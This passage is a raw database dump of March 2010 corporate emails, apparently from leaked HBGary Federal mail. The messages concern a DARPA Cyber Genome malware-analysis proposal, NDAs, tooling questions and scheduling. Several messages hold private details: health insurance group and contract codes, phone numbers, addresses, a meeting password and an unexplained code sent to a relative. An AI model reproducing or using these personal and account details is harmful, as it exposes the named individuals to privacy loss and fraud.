\r\n\r\n&nbsp;\r\n\r\nAbout\r\n\r\nTerminology\r\n\r\nDocuments\r\n\r\nMAEC Language\r\n\r\nEnumerations\r\n\r\nSchema\r\n\r\nCluster\r\n\r\nUse Cases\r\n\r\nCommunity\r\n\r\nWorking Group\r\n\r\nDiscussion List\r\n\r\nDiscussion Archive\r\n\r\nNews &amp; Events\r\n\r\nCalendar\r\n\r\nFree Newsletter\r\n\r\nContact\r\nUs\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4980,'aaron_hbgary_com/4980.html'),(3258,'2010-03-01','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001532.M326622P3547Q3259.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,,','Re: Links for MITRE\'s MAEC malware project','I&#39;ll read up on it and then get his thoughts.On Mon, Mar 1, 2010 at 12:39 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhil, apparently this was funded\r\nby Doug Maughan, when you are there it would be interesting to get his thoughts\r\non it\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Sunday, February 28, 2010 7:08 AM\r\nTo: &#39;Penny Leavy-Hoglund&#39;\r\nCc: &#39;Aaron Barr&#39;; greg@hbgary.com; &#39;Ted Vera&#39;\r\nSubject: Links for MITRE&#39;s MAEC malware project\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nPenny,\r\n\r\n \r\n\r\nYou were asking me about a paper on MITRE’s MAEC (malware\r\nattribute enumeration and characterization project). Go this link http://maec.mitre.org/ then on the left side of\r\nthe page are other links for more info:  \r\n\r\n \r\n\r\nAbout\r\n\r\n\r\nTerminology\r\n\r\n\r\nDocuments\r\n\r\n\r\nMAEC Language\r\n\r\n\r\nEnumerations\r\n\r\n\r\nSchema\r\n\r\n\r\nCluster\r\n\r\n\r\nUse Cases\r\n\r\n\r\nCommunity\r\n\r\n\r\nWorking Group\r\n\r\n\r\nDiscussion List\r\n\r\n\r\nDiscussion Archive\r\n\r\n\r\nNews &amp; Events\r\n\r\n\r\nCalendar\r\n\r\n\r\nFree Newsletter\r\n\r\n\r\nContact\r\nUs\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1032,'aaron_hbgary_com/1032.html'),(3259,'2010-03-01','\"Ebbe Reker\" <Ebbe@avi.com>','/aaron@hbgary.com/new/1297001532.M37904P3547Q3258.eml','aaron@hbgary.com','NDA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSigned NDA attached.&nbsp; Please countersign and return\r\n\r\n&nbsp;\r\n\r\n- - - - - - - - - - - - - - - - - - \r\nEbbe Reker, Vice President &amp; CFO \r\nApplied Visions, Inc. \r\n6 Bayview Avenue \r\nNorthport, NY 11768 \r\n631-754-4920 \r\nFax: 631-754-1721 \r\nhttp://www.avi.com \r\n- - - - - - - - - - - - - - - - - - \r\n\r\n\r\n\r\n\r\n\r\n\r\n',11389,'aaron_hbgary_com/11389.html'),(3260,'2010-03-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001532.M502441P3547Q3260.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FW: hbgary tool','---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Mar 1, 2010 at 10:46 AM\r\nSubject: Re: FW: hbgary tool\r\nTo: \"Sandoval Jr, Jose (TASC Inc)\" ,\r\njacob.hammack@tasc.com\r\n\r\n\r\nYes, Responder 2.0 ships with a command-line tool, run ITHC.exe -help\r\nor -? from the command line.  See articles below for some info on how\r\nto automate DDNA runs:\r\n\r\nhttps://www.hbgary.com/news/automating-analysis-of-multiple-memory-images-using-responder-pro-part-one/\r\n\r\nhttps://www.hbgary.com/?s=ITHC\r\n\r\nOn Mon, Mar 1, 2010 at 8:11 AM, Sandoval Jr, Jose (TASC Inc)\r\n wrote:\r\n> Ted, please see Jacob\'s note below.  Is this something you all can do?\r\n> Jacob and company built an Automator program that can automate any task\r\n> we need on a binary.\r\n>\r\n> Thoughts?\r\n>\r\n> Jose\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Hammack, Jacob P (TASC Inc)\r\n> Sent: Thursday, February 25, 2010 9:39 AM\r\n> To: Sandoval Jr, Jose (TASC Inc)\r\n> Subject: hbgary tool\r\n>\r\n>\r\n> Jose,\r\n>\r\n> I want a HBGary tool works as a command line utility to input a file and\r\n> output the digital dna results in xml form. I can handle all of the\r\n> distribution to our internal virtual machine structure.\r\n>\r\n> I just need a tool that will process the binary and spit out the data in\r\n> xml format.\r\n>\r\n>\r\n> Thank you,\r\n>\r\n> -Jacob\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13658,'aaron_hbgary_com/13658.html'),(3261,'2010-03-01','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297001533.M729471P3547Q3261.eml','ted@hbgary.com,ted@hbgary.com,','NDA for HBGary Federal - Cyber Genome Program','\r\n\r\n\r\n\r\n\r\nHello \r\nTed,\r\n&nbsp;\r\n\r\nAs discussed during our conference \r\ncall, I\'ve prepared an NDA specific to HBGary Federal.&nbsp; \r\n\r\n&nbsp;\r\nPlease review the \r\ncompany name identified in the preamble and the signature page to verify it is \r\ncorrectly identified. &nbsp;Also, please complete Item 6.&nbsp; I\'ve backdated \r\nthe agreement to February 11, 2010.&nbsp;&nbsp;This agreement will protect \r\nProprietary Information exchanged between our companies applicable to the Cyber \r\nGenome Program.\r\n&nbsp;\r\nIf you have any questions or \r\ncomments regarding the NDA I can be reached by email or by \r\nphone.\r\n&nbsp;\r\nI look forward to hearing from you.\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\nCindy Larson\r\nGDAIS Sr. Lead&nbsp;Specialist, \r\nContracts&nbsp;\r\n480-441-4235\r\n',2661,'aaron_hbgary_com/2661.html'),(3262,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001533.M920717P3547Q3262.eml','\"Aaron Barr\" <aaron@hbgary.com>','GD SOW for TA #3','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nMy thoughts on GD&#8217;s role for TA #3&#8230;&#8230;&#8230;\r\n\r\n&nbsp;\r\n\r\nGD is very experienced in real world malware analysis for\r\nlaw enforcement, counter intelligence and cyber defense.&nbsp; Their role could\r\nbe definition of use cases and IV&amp;V of what gets developed.&nbsp; In the\r\nproposal they could provide a list of functionality and tasks that should get\r\nautomated.&nbsp; HBGary would write HOW to automate those things.&nbsp; Then as\r\nwe develop things GD would test and validate that the automation work was done\r\ncorrectly, solves the problem, usable, etc.\r\n\r\n&nbsp;\r\n\r\nI&#8217;ll leave it to you to elaborate and send on to GD.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15885,'aaron_hbgary_com/15885.html'),(3263,'2010-03-01','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','/aaron@hbgary.com/new/1297001535.M539666P3547Q3263.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Harbison, Michael J.\" <Michael.Harbison@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,aaron@hbgary.com,\"Bob Slapnik\" <bob@hbgary.com>,porras@csl.sri.com,dawnsong@cs.berkeley.edu,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>','FW: DARPA Correlation Graph Overview (Tech area 1)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Upchurch, Jason R. \r\nSent: Thursday, February 25, 2010 4:34 PM\r\nTo: Starr, Christopher H.; Rodriguez, Harold; Jaeger, James A.; Harlow,\r\nDouglas M.; Spiller, John F.; Vela, Ryan\r\nSubject: FW: DARPA Correlation Graph Overview (Tech area 1)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Jason Upchurch\r\n[mailto:jason.upchurch@gmail.com] \r\nSent: Thursday, February 25, 2010 3:59 PM\r\nTo: Upchurch, Jason R.\r\nSubject: DARPA Graph Overview\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nVery rough\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6582,'aaron_hbgary_com/6582.html'),(3264,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001536.M968588P3547Q3264.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: DCG Tech #1 Very rough abstract','Take a look at jasons abstract to tech area 1.  I will call u in a little bit.  I just got off the phone with gd kick off.We are priming tech area 3 which is automated analysis of malware for intent, capabilities. To include fully automated complete code execution.\r\nAaronFrom my iPhoneBegin forwarded message:From: &quot;Upchurch, Jason R.&quot; &lt;jason.upchurch@gd-ais.com&gt;\r\nDate: March 1, 2010 11:59:01 AM ESTTo: &lt;aaron@hbgary.com&gt;, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;, &quot;Anita D&#39;Amico&quot; &lt;anitad@securedecisions.avi.com&gt;, &lt;porras@csl.sri.com&gt;, &lt;dawnsong@cs.berkeley.edu&gt;, &quot;Rodriguez, Harold&quot; &lt;Harold.Rodriguez@gd-ais.com&gt;\r\nCc: &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt;, &quot;Harlow, Douglas M.&quot; &lt;Douglas.Harlow@gd-ais.com&gt;\r\nSubject: DCG Tech #1 Very rough abstract\r\n\r\n\r\n\r\nI have attached my general abstract for our idea (it is NOT “researchy” and very high level and NEEDS A LOT OF WORK), which can serve as a general outline to begin our writing assignments.  It needs to be cleaned and reviewed (oh so very) soon.\r\n\r\n\r\nj\r\n\r\n &lt;&lt;DAPRA-ProblemMethodAbstract.doc&gt;&gt; \r\n\r\n\r\n\r\n\r\n\r\n',5293,'aaron_hbgary_com/5293.html'),(3265,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001537.M222424P3547Q3265.eml','\"Aaron Barr\" <aaron@hbgary.com>','What time do you have Greg lined up to talk today?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nYou and I should talk to Greg and not put him on the phone\r\nwith GD.&nbsp; We need to structure what we want Greg to think about, put that\r\ndown on paper, and eventually give the resulting document to GD to critique.&nbsp;\r\nWe will get Greg&#8217;s best work by incrementally building onto HBGary&#8217;s\r\npast work.&nbsp; There will be no value in having GD pepper Greg with\r\nquestions.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4624,'aaron_hbgary_com/4624.html'),(3266,'2010-03-01','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001538.M779609P3547Q3266.eml','aaron@hbgary.com','Feb. PR invoice','Hi Aaron, I billed 3.5 hours for February; please see attached invoice. Please let me know if you have any questions and if you have any updates on the Threat Intelligence Consortium announcement. Best, Karen&nbsp;\r\n\r\n',12125,'aaron_hbgary_com/12125.html'),(3267,'2010-03-01','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297001538.M976519P3547Q3267.eml','ted@hbgary.com,ted@hbgary.com,,','Clarification - RE: Advance Notice of DARPA Requirements - Intellectual Property and OCI','\r\n\r\n\r\n\r\n\r\nHello Ted,\r\n&nbsp;\r\nFurther \r\nclarification provided regarding my earlier \r\nemail.\r\n&nbsp;\r\nWe need you to \r\ninvestigate and confirm back to us if your company has any potential OCI(s) as \r\ndescribed in the 2nd and 3rd paragraphs.&nbsp; If any conflict of interest \r\nexists or may exist, please send the information requested in para. 3 directly \r\nto me, Russ Wenthold, and Ryan Vela and not to DARPA.&nbsp; \r\n\r\n\r\n&nbsp;\r\nGDAIS will include our disclosure and the subs disclosures at the \r\ntime we submit our proposal to DARPA.\r\n&nbsp;\r\nWith regard to IP, please review DARPA\'s requirements/expectations \r\nand let us know if you have issues with their expectations.&nbsp; If your \r\ncompany will have noncommercial or commercial asserted rights, you can \r\ninformally identify these to us now, but I will need you to complete the tables \r\n(7.1 and 7.1.2) and provide as part of your formal proposal submittal; same \r\nholds true for items 7.2, 7.3 and 7.4.\r\n&nbsp;\r\nThank you for your questions.\r\n&nbsp;\r\nRegards,\r\nCindy\r\n\r\n  \r\n  \r\n  From: Larson, Cindy S. Sent: \r\n  Monday, March 01, 2010 10:32 AMTo: \'ted@hbgary.com\'Cc: \r\n  Wenthold, Russell L.; Vela, Ryan; \'aaron@hbgary.com\'; Brown, Glenn \r\n  M.Subject: Advance Notice of DARPA Requirements - Intellectual \r\n  Property and OCI\r\n  \r\n  Hello \r\n  Ted,\r\n  &nbsp;\r\n  As discussed by Russ \r\n  Wenthold during this morning\'s Proposal Kickoff conference call, DARPA has \r\n  identified their expectations/requirements applicable to Intellectual Property \r\n  and OCI in DARPA-BAA-10-36 dated January 28, 2010.&nbsp;&nbsp;These \r\n  requirements will be described in the forthcoming GDAIS Request for \r\n  Proposal.\r\n  &nbsp;\r\n  However, due to the \r\n  very&nbsp;small window of time related to this proposal effort I have \r\n  attached&nbsp;DARPAs expectations for your&nbsp;review and response.&nbsp; \r\n  \r\n  &nbsp;\r\n  Please review both \r\n  documents and provide your comments to all by noon on Wednesday, March 3rd, or \r\n  sooner.&nbsp;&nbsp; Thank you.\r\n  &nbsp;\r\n  Regards,\r\n  &nbsp;\r\n  Cindy \r\n  Larson\r\n  GDAIS Sr. Lead \r\n  Specialist, Contracts\r\n  480-441-4235\r\n',10777,'aaron_hbgary_com/10777.html'),(3268,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001539.M171859P3547Q3268.eml','\"Aaron Barr\" <aaron@hbgary.com>','Health insurance','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAnthem&nbsp; 800-627-8797\r\n\r\nGroup&nbsp; 334184\r\n\r\nContract code&nbsp;&nbsp; 8982\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14168,'aaron_hbgary_com/14168.html'),(3269,'2010-03-01','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297001539.M397321P3547Q3269.eml','\"Aaron Barr\" <aaron@hbgary.com>','DHS','Hi Aaron\r\n \r\nBob says that you have great relationships at DHS.  Do you have any relationships that would help me to sell Digital DNA?\r\n \r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',14763,'aaron_hbgary_com/14763.html'),(3270,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001539.M597069P3547Q3270.eml','\"Sandy Barr\" <freelybe@hotmail.com>','Fwd: Health insurance','From my iPhoneBegin forwarded message:From: &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt;\r\nDate: March 1, 2010 1:29:15 PM ESTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: Health insurance\r\n\r\n\r\n\r\n\r\nAnthem  800-627-8797\r\n\r\nGroup  334184\r\n\r\nContract code   8982\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16562,'aaron_hbgary_com/16562.html'),(3271,'2010-03-01','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001539.M795281P3547Q3271.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','GovCon stuff','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Brian,\r\n\r\n&nbsp;\r\n\r\nTim Ronan is leading our GovCon coordination.&nbsp; To\r\nmaintain your demo station we reserved for you guys he&#8217;s going to need\r\nsome basic info.&nbsp; Ill let him pick up the thread from here.\r\n\r\n&nbsp;\r\n\r\nIn other random news, Aaron, you had asked me about web\r\nscraping vendors.&nbsp; Out of the blue a rep from Cyveillance (http://www.cyveillance.com/) called me\r\nto chat partnership.&nbsp; I believe they have the capability you were looking for.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10647,'aaron_hbgary_com/10647.html'),(3272,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001539.M970318P3547Q3272.eml','\"Sandy Barr\" <freelybe@hotmail.com>','','055a75262\r\n\r\n From my iPhone\r\n',2948,'aaron_hbgary_com/2948.html'),(3273,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001540.M150083P3547Q3273.eml','\"Sandy Barr\" <freelybe@hotmail.com>','','\r\nAnthem  800-627-8797\r\nGroup  334184Contract code   8982\r\n From my iPhone\r\n',16565,'aaron_hbgary_com/16565.html'),(3274,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001540.M341573P3547Q3274.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Call','Hey Greg,\r\n\r\nHow about the three of us get on the phone at 3pm est.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',7541,'aaron_hbgary_com/7541.html'),(3275,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001541.M447832P3547Q3275.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Feb. PR invoice','From my iPhoneBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nDate: March 1, 2010 1:18:40 PM ESTTo: aaron@hbgary.comSubject: Feb. PR invoice\r\nHi Aaron, I billed 3.5 hours for February; please see attached invoice. Please let me know if you have any questions and if you have any updates on the Threat Intelligence Consortium announcement. Best, Karen \r\n\r\n\r\n      \r\n',14870,'aaron_hbgary_com/14870.html'),(3276,'2010-03-01','\"Bob Slapnik\" <messenger@webex.com>','/aaron@hbgary.com/new/1297001541.M666670P3547Q3276.eml','aaron@hbgary.com','Meeting invitation: DARPA conversation','Hello Aaron Barr,   Bob Slapnik invites you to attend this online meeting.   Topic: DARPA conversation  Date: Monday, March 1, 2010  Time: 3:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 577 130 265  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=142052502&UID=1125899992&PW=NOTAzM2NiMWFj&RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: ddna123  4. Click \"Join Now\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=142052502&UID=1125899992&PW=NOTAzM2NiMWFj&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=142052502&tollFree=0   Access code:577 130 265   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   bob@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=142052502&UID=1125899992&ICS=MI&LD=1&RD=2&ST=1&SHA2=RxD8LHUEqUv8hzZW2sN0YnBuA6Bw/dQV0T2EGkStfB8=&RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',1382,'aaron_hbgary_com/1382.html'),(3277,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001542.M349559P3547Q3277.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: DCG Tech #1 Very rough abstract','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Upchurch, Jason R.\" \r\n> Date: March 1, 2010 11:59:01 AM EST\r\n> To: , \"Bob Slapnik\" , \"Anita D\'Amico\" , , , \"Rodriguez, Harold\" \r\n> Cc: \"Starr, Christopher H.\" , \"Harlow, Douglas M.\" \r\n> Subject: DCG Tech #1 Very rough abstract\r\n> \r\n> I have attached my general abstract for our idea (it is NOT “researchy” and very high level and NEEDS A LOT OF WORK), which can serve as a general outline to begin our writing assignments.  It needs to be cleaned and reviewed (oh so very) soon.\r\n> \r\n> j\r\n> \r\n> >\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2414,'aaron_hbgary_com/2414.html'),(3278,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001543.M611382P3547Q3278.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: DARPA Correlation Graph Overview (Tech area 1)','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Upchurch, Jason R.\" \r\n> Date: March 1, 2010 1:01:07 PM EST\r\n> To: \"Starr, Christopher H.\" , \"Harbison, Michael J.\" , \"Vela, Ryan\" , , \"Bob Slapnik\" , , , \"Rodriguez, Harold\" \r\n> Subject: FW: DARPA Correlation Graph Overview (Tech area 1)\r\n> \r\n>  \r\n>  \r\n> From: Upchurch, Jason R. \r\n> Sent: Thursday, February 25, 2010 4:34 PM\r\n> To: Starr, Christopher H.; Rodriguez, Harold; Jaeger, James A.; Harlow, Douglas M.; Spiller, John F.; Vela, Ryan\r\n> Subject: FW: DARPA Correlation Graph Overview (Tech area 1)\r\n>  \r\n>  \r\n>  \r\n> From: Jason Upchurch [mailto:jason.upchurch@gmail.com] \r\n> Sent: Thursday, February 25, 2010 3:59 PM\r\n> To: Upchurch, Jason R.\r\n> Subject: DARPA Graph Overview\r\n>  \r\n> Very rough\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16344,'aaron_hbgary_com/16344.html'),(3279,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001544.M706676P3547Q3279.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','SBIR Phase III','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nThis doc describes SBIR Phase III contracts.&nbsp; It says a\r\ngov&#8217;t contract that is derived from SBIR work is itself an SBIR contract\r\nand shall be granted SBIR data rights.&nbsp; I highlighted a few passages, but\r\nthere are other useful things in the doc.\r\n\r\n&nbsp;\r\n\r\nSBIR DATA RIGHTS\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContractor retains IP ownership\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nGov&#8217;t gets restricted rights for 5 years (DoD) or\r\n4 years (non-DoD)\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAfter the restricted rights period expires the gov&#8217;t\r\ngets unrestricted rights of the data that is 4 or 5 years old\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4706,'aaron_hbgary_com/4706.html'),(3280,'2010-03-01','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001544.M940890P3547Q3280.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik (HBGary)\" <bob@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,dawnsong@cs.berkeley.edu,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,BrianneO@SecureDecisions.avi.com,LaurinB@SecureDecisions.avi.com,KennyP@SecureDecisions.avi.com,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','Cyber Genome / Secure Decisions / Technical Discussion','\r\n\r\n\r\n\r\n\r\nCyber Genome / Secure Decisions / Technical Discussion\r\n\r\n\r\n\r\n\r\nWhen: Monday, March 01, 2010 5:00 PM-6:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nSecure Decisions / Cyber Genome / Technical Discussion\r\n\r\n866-765-5631, code 5057292#\r\n\r\nhttp://www.securedecisions.avi.com/\r\n\r\n\r\n\r\n\r\n',4934,'aaron_hbgary_com/4934.html'),(3281,'2010-03-01','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001545.M139086P3547Q3281.eml','dawnsong@cs.berkeley.edu,\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik (HBGary)\" <bob@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,BrianneO@SecureDecisions.avi.com,LaurinB@SecureDecisions.avi.com,KennyP@SecureDecisions.avi.com,dawnsong@cs.berkeley.edu','Cyber Genome / UC Berkeley / Technical Discussion','\r\n\r\n\r\n\r\n\r\nCyber Genome / UC Berkeley / Technical Discussion\r\n\r\n\r\n\r\n\r\nWhen: Monday, March 01, 2010 6:00 PM-7:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nCyber Genome / UC Berkeley / Technical Discussion\r\n\r\n866-765-5631, code 5057292#\r\n\r\nOne example of Berkeley research:\r\n\r\nhttp://bitblaze.cs.berkeley.edu/\r\n\r\n\r\n\r\n\r\n',14559,'aaron_hbgary_com/14559.html'),(3282,'2010-03-01','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','/aaron@hbgary.com/new/1297001545.M507368P3547Q3282.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,dawnsong@cs.berkeley.edu,\"Phil Porras\" <porras@csl.sri.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,BrianneO@SecureDecisions.avi.com,LaurinB@SecureDecisions.avi.com,KennyP@SecureDecisions.avi.com','FW: Darpa Cyber Genome (DCG) Daily Standup','\r\n\r\n\r\n\r\n\r\nFW: Darpa Cyber Genome (DCG) Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Occurs every day effective 3/1/2010 until 3/12/2010 from 4:00 PM to 4:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, 